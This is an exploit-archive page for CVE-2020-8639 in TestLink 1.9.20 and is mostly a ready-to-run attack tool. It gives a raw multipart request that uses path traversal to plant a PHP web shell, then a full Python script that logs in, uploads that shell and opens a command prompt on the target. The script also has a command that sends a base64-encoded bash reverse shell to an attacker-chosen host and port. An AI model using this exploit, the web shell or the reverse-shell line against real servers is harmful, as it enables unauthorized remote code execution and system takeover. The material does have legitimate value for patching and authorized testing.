TestLink 1.9.20 Shell Upload

2021.02.15
Credit: snovvcrash
Risk: High
Local: No
Remote: Yes
CWE: CWE-264


CVSS Base Score: 6.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Exploit Title: TestLink 1.9.20 - Unrestricted File Upload (Authenticated) # Date: 14th February 2021 # Exploit Author: snovvcrash # Original Research by: Ackcent AppSec Team # Original Research: https://ackcent.com/testlink-1-9-20-unrestricted-file-upload-and-sql-injection/ # Vendor Homepage: https://testlink.org/ # Software Link: https://github.com/TestLinkOpenSourceTRMS/testlink-code # Version: 1.9.20 # Tested on: Ubuntu 20.10 # CVE: CVE-2020-8639 # Requirements: pip3 install -U requests bs4 # Usage Example: ./exploit.py -u admin -p admin -P 127.0.0.1:8080 http://127.0.0.1/testlink """ Raw exploit request: POST /testlink/lib/keywords/keywordsImport.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------242818621515179709592867995067 Content-Length: 1187 Origin: http://127.0.0.1 Connection: close Referer: http://127.0.0.1/testlink//lib/keywords/keywordsImport.php?tproject_id=1 Cookie: PHPSESSID=kvbpl3t3lec42qbjdcgdppncib; TESTLINK1920TESTLINK_USER_AUTH_COOKIE=af57ebce9f54ce0f0e36d24ef25dc9c1b3a9d2f8e0b9cb4454c973927306e90f Upgrade-Insecure-Requests: 1 -----------------------------242818621515179709592867995067 Content-Disposition: form-data; name="CSRFName" CSRFGuard_1115715115 -----------------------------242818621515179709592867995067 Content-Disposition: form-data; name="CSRFToken" 506c4b44825c5e5885231c263e7195188dedbd154b9cf74e5d183c1feb953aec7c0edae1097649d82acd20f6f851e0cdbac91cc0589d1cfd6fb13741f9cf0cb8 -----------------------------242818621515179709592867995067 Content-Disposition: form-data; name="importType" /../../../logs/pwn.php -----------------------------242818621515179709592867995067 Content-Disposition: form-data; name="MAX_FILE_SIZE" 409600 -----------------------------242818621515179709592867995067 Content-Disposition: form-data; name="uploadedFile"; filename="foo.xml" Content-Type: application/xml <?php if(isset($_REQUEST['c'])){system($_REQUEST['c'].' 2>&1' );} ?> -----------------------------242818621515179709592867995067 Content-Disposition: form-data; name="tproject_id" 1 -----------------------------242818621515179709592867995067 Content-Disposition: form-data; name="UploadFile" Upload file -----------------------------242818621515179709592867995067-- """ #!/usr/bin/env python3 import re from urllib import parse from cmd import Cmd from base64 import b64encode from argparse import ArgumentParser import requests from bs4 import BeautifulSoup parser = ArgumentParser() parser.add_argument('target', help='target full URL without trailing slash, ex. "http://127.0.0.1/testlink"') parser.add_argument('-u', '--username', default='admin', help='TestLink username') parser.add_argument('-p', '--password', default='admin', help='TestLink password') parser.add_argument('-P', '--proxy', default=None, help='HTTP proxy in format <HOST:PORT>, ex. "127.0.0.1:8080"') args = parser.parse_args() class TestLinkWebShell(Cmd): payloadPHP = """<?php if(isset($_REQUEST['c'])){system($_REQUEST['c'].' 2>&1' );} ?>""" uploadPath = 'logs/pwn.php' prompt = '$ ' def __init__(self, target, username, password, proxies): super().__init__() self.target = target self.username = username self.password = password if proxies: self.proxies = {'http': f'http://{proxies}', 'https': f'http://{proxies}'} else: self.proxies = None self.session = requests.Session() self.session.verify = False resp = self.session.get(f'{self.target}/login.php', proxies=self.proxies) soup = BeautifulSoup(resp.text, 'html.parser') self.csrf_name = soup.find('input', {'name': 'CSRFName'}).get('value') self.csrf_token = soup.find('input', {'name': 'CSRFToken'}).get('value') self.req_uri = soup.find('input', {'name': 'reqURI'}).get('value') self.destination = soup.find('input', {'name': 'destination'}).get('value') def auth(self): data = { 'CSRFName': self.csrf_name, 'CSRFToken': self.csrf_token, 'reqURI': self.req_uri, 'destination': self.destination, 'tl_login': self.username, 'tl_password': self.password } resp = self.session.post(f'{self.target}/login.php?viewer=', data=data, proxies=self.proxies) if resp.status_code == 200: print('[*] Authentication succeeded') resp = self.session.get(f'{self.target}/lib/general/mainPage.php', proxies=self.proxies) if resp.status_code == 200: print('[*] Loaded mainPage.php iframe contents') soup = BeautifulSoup(resp.text, 'html.parser') self.tproject_id = soup.find('a', {'href': re.compile(r'lib/keywords/keywordsView.php\?')}).get('href') self.tproject_id = parse.parse_qs(parse.urlsplit(self.tproject_id).query)['tproject_id'][0] print(f'[+] Extracted tproject_id value: {self.tproject_id}') else: raise Exception('Error loading mainPage.php iframe contents') else: raise Exception('Authentication failed') def upload_web_shell(self): files = [ ('CSRFName', (None, self.csrf_name)), ('CSRFToken', (None, self.csrf_token)), ('importType', (None, f'/../../../{TestLinkWebShell.uploadPath}')), ('MAX_FILE_SIZE', (None, '409600')), ('uploadedFile', ('foo.xml', TestLinkWebShell.payloadPHP)), ('tproject_id', (None, self.tproject_id)), ('UploadFile', (None, 'Upload file')) ] resp = self.session.post(f'{self.target}/lib/keywords/keywordsImport.php', files=files, proxies=self.proxies) if resp.status_code == 200: print(f'[*] Web shell uploaded here: {self.target}/{TestLinkWebShell.uploadPath}') print('[*] Trying to query whoami...') resp = self.session.get(f'{self.target}/{TestLinkWebShell.uploadPath}?c=whoami', proxies=self.proxies) if resp.status_code == 200: print(f'[+] Success! Starting semi-interactive shell as {resp.text.strip()}') else: raise Exception('Error interacting with the web shell') else: raise Exception('Error uploading web shell') def emptyline(self): pass def preloop(self): self.auth() self.upload_web_shell() def default(self, args): try: resp = self.session.get(f'{self.target}/{TestLinkWebShell.uploadPath}?c={args}', proxies=self.proxies) if resp.status_code == 200: print(resp.text.strip()) except Exception as e: print(f'*** Something weired happened: {e}') def do_spawn(self, args): """Spawn a reverse shell. Usage: \"spawn <LHOST> <LPORT>\".""" try: lhost, lport = args.split() payload = f'/bin/bash -i >& /dev/tcp/{lhost}/{lport} 0>&1' b64_payload = b64encode(payload.encode()).decode() cmd = f'echo {b64_payload} | base64 -d | /bin/bash' self.default(cmd) except Exception as e: print(f'*** Something weired happened: {e}') def do_EOF(self, args): """Use Ctrl-D to exit the shell.""" print(); return True if __name__ == '__main__': tlws = TestLinkWebShell(args.target, args.username, args.password, args.proxy) tlws.cmdloop('Type help for list of commands')


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top